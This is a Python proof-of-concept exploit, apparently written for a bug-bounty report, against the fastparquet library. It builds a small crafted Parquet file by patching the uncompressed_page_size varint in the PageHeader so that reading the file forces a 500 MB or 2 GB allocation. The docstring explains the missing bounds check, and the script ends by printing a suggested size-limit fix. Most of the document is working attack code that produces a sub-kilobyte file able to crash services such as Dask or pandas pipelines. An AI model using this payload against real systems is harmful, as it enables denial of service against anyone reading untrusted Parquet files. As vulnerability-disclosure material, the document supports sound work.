"""
PoC: fastparquet Parquet PageHeader Decompression Bomb
Target : fastparquet (PyPI package `fastparquet`)
Format : Parquet (.parquet) — Huntr target: $1500
Tested : fastparquet 2026.5.0, pyarrow 25.0.0, Python 3.12
Author : mgm-77 / MBM7

=== Finding: Unvalidated PageHeader.uncompressed_page_size → GB-scale allocation ===
CWE-789 (Uncontrolled Memory Allocation) / Pattern #7 CULA

fastparquet/compression.py, function decompress_data():

    if algorithm.upper() in decom_into:
        x = np.empty(uncompressed_size, dtype='uint8')   # ← pre-allocates upfront
        decom_into[algorithm.upper()](
            np.frombuffer(data, dtype=np.uint8), x
        )
        return x

The `uncompressed_size` parameter comes from ph.uncompressed_page_size
(Thrift compact i32 field 2 in PageHeader), which is read directly from
the Parquet binary file with no validation whatsoever.

fastparquet/core.py line ~291 also uses it without guard:
    uncompressed_page_size = (ph.uncompressed_page_size
                              - data_header2.definition_levels_byte_length
                              - data_header2.repetition_levels_byte_length)

Root cause: there is no check of the form
    if ph.uncompressed_page_size > SOME_SAFE_LIMIT: raise ValueError(...)
at any point between reading the Thrift field and the np.empty() call.

=== Attack: patch Thrift varint in PageHeader ===
A valid Parquet file's PageHeader is located at offset 4 (after PAR1 magic).
Thrift compact field 2 (uncompressed_page_size, type i32) is a zigzag-encoded
varint starting at byte offset 7 in a minimal single-column file.
Replacing the 1-byte varint (value 4) with a 5-byte varint (value 500_000_000)
produces a crafted file that causes 500 MB of memory allocation on read.

=== Impact ===
Any service that reads user-supplied .parquet files with fastparquet
(Dask, pandas via fastparquet engine, HuggingFace datasets, custom ML
pipelines) can be OOM-killed by a sub-1KB malicious file.
"""

import io
import struct
import tracemalloc

import numpy as np
import pyarrow as pa
import pyarrow.parquet as pq
import fastparquet


# ── Thrift compact varint helpers ─────────────────────────────────────────────

def zigzag_encode(n: int) -> int:
    return (n << 1) ^ (n >> 31)


def write_varint(value: int) -> bytes:
    out = []
    while value > 0x7F:
        out.append((value & 0x7F) | 0x80)
        value >>= 7
    out.append(value)
    return bytes(out)


# ── Payload builder ───────────────────────────────────────────────────────────

def make_bomb_parquet(fake_uncompressed_size: int) -> bytes:
    """
    Build a crafted Parquet file where the PageHeader claims
    `uncompressed_page_size = fake_uncompressed_size` but actual
    compressed data is tiny.

    Valid minimal file is written by pyarrow, then byte-patched
    at the known Thrift varint offset.
    """
    # Write a valid 1-row, 1-column GZIP-compressed Parquet file
    table = pa.table({"val": pa.array([42], type=pa.int32())})
    buf = io.BytesIO()
    pq.write_table(table, buf, compression="GZIP")
    data = bytearray(buf.getvalue())

    # PageHeader starts at offset 4 (after PAR1 magic).
    # Field 2 (uncompressed_page_size) varint is at byte offset 7.
    # Original value = 4  →  zigzag(4) = 8  →  varint = b'\x08'  (1 byte)
    original_varint = write_varint(zigzag_encode(4))      # b'\x08'
    fake_varint     = write_varint(zigzag_encode(fake_uncompressed_size))

    assert data[7:7 + len(original_varint)] == original_varint, (
        "Unexpected varint at offset 7 — file layout may have changed"
    )

    crafted = bytes(data[:7]) + fake_varint + bytes(data[7 + len(original_varint):])
    return crafted


# ── Main ──────────────────────────────────────────────────────────────────────

BOMB_CASES = [
    (500_000_000,   "500 MB"),
    (2_000_000_000, "2 GB — triggers MemoryError on RAM-limited hosts"),
]

print("=" * 64)
print("fastparquet: Parquet PageHeader Decompression Bomb")
print("CWE-789 / CULA Pattern #7")
print("=" * 64)

for fake_size, label in BOMB_CASES:
    payload = make_bomb_parquet(fake_size)

    print(f"\n  Fake uncompressed_page_size : {fake_size:,} ({label})")
    print(f"  Crafted file size           : {len(payload)} bytes")
    print(f"  Expected allocation         : {fake_size:,} bytes")
    print(f"  Amplification               : 1:{fake_size // len(payload):,}")

    tracemalloc.start()
    try:
        pf = fastparquet.ParquetFile(io.BytesIO(payload))
        _  = pf.to_pandas()
        peak = tracemalloc.get_traced_memory()[1]
        print(f"  Result                      : LOADED (unexpected)")
        print(f"  Peak memory                 : {peak:,} bytes")
    except MemoryError:
        peak = tracemalloc.get_traced_memory()[1]
        print(f"  Result                      : MemoryError — OOM triggered ✓")
        print(f"  Peak memory                 : {peak/1e6:.0f} MB")
    except Exception as e:
        peak = tracemalloc.get_traced_memory()[1]
        print(f"  Result                      : {type(e).__name__}: {e}")
        print(f"  Peak memory                 : {peak/1e6:.0f} MB  ← allocation happened")
    finally:
        tracemalloc.stop()

print()
print("=" * 64)
print("Root cause — fastparquet/compression.py, decompress_data():")
print()
print("  def decompress_data(data, uncompressed_size, algorithm):")
print("      ...                                                  ")
print("      if algorithm.upper() in decom_into:                 ")
print("          x = np.empty(uncompressed_size, dtype='uint8')  ")
print("                       ^^^^^^^^^^^^^^^^^ from Thrift,     ")
print("                                         no bound check   ")
print("          decom_into[...](np.frombuffer(data,...), x)     ")
print("          return x                                        ")
print()
print("Suggested fix: add before np.empty():")
print("  MAX_UNCOMPRESSED = 256 * 1024 * 1024  # 256 MB")
print("  if uncompressed_size > MAX_UNCOMPRESSED:")
print("      raise ValueError(f'uncompressed_size {uncompressed_size} exceeds limit')")
print()
print("=" * 64)
print(f"fastparquet version : {fastparquet.__version__}")
import pyarrow, sys
print(f"pyarrow version     : {pyarrow.__version__}")
print(f"Python version      : {sys.version}")